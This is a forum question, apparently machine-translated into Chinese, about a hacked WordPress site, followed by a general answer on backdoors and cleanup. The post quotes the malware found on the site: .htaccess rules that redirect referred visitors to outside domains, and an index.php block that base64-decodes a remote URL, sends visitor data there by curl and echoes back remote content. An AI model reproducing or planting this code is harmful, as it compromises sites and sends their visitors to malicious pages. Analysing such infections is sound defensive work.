防止恶意软件攻击我的网站


Prevent Malware attack on my site

我为一个客户建立了一个wordpress网站。几天后,客户报告说,该网站已被谷歌屏蔽的恶意软件内容。当我检查这个站点时,我发现代码中有一些变化,比如。htaccess的代码与之前的代码不同。

 RewriteEngine On
 RewriteBase /
 RewriteCond %{HTTP_REFERER} ^http://[w.]*([^/]+)
 RewriteCond %{HTTP_HOST}/%1 !^[w.]*([^/]+)/$ [NC]
 RewriteRule ^.*$ http://clubatleticoestrada.org.ar/awas.html?h=1110720 [L,R]
</IfModule>

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_REFERER} ^http://[w.]*([^/]+)
RewriteCond %{HTTP_HOST}/%1 !^[w.]*([^/]+)/'1$ [NC]
RewriteRule ^.*$ http://halisahamiz.com/eehs.html?h=1110720 [L,R]
</IfModule>

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_REFERER} ^http://[w.]*([^/]+)
RewriteCond %{HTTP_HOST}/%1 !^[w.]*([^/]+)/'1$ [NC]
RewriteRule ^.*$ http://zabetonom.ru/mhos.html [L,R]
</IfModule>

RewriteEngine On
RewriteBase / 

# MCCL

# END MCCL

和index.php包含了这个:

if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
     curl_close($stCurlHandle); 
}
}

这种攻击是如何发生的,我如何防止自己在未来发生这种攻击?

在重置站点时,我发现公共Html文件夹外的一些文件受到了影响。大家是怎么做到的呢

一个完整的大库不足以解释"黑客攻击"是如何执行的。攻击网站的方法和工具有很多。除了非常常见的SQL注入、交叉脚本和密码窃取之外,还有专业人士使用的复杂工具。如果我没理解错的话,他们已经重定向了你的网站。我只能建议你确保你的服务器上有最新的软件更新,用像这样的"检查工具"或像Acunetix检查你的网站。黑客用同样的方法寻找易受攻击的网站。如果您认为重新加载备份就可以解决问题,那么您可能会感到惊讶。黑客通常会下载一个后门程序,然后进入你的网站。所以更改密码可能不起作用。我建议你在清理的时候要非常小心。还要询问您的提供商,他们是否在同一台服务器上入侵了其他网站。在这种情况下,您可以确定服务器上有一个后门(shell)。在这种情况下,这不是您的问题,而是提供商负责整理漏洞并清理服务器。这是最常见的情况。以上只是对问题的复杂性给出了一个粗略的想法,我完全同意Adrien的观点,这个话题是针对互联网安全论坛的。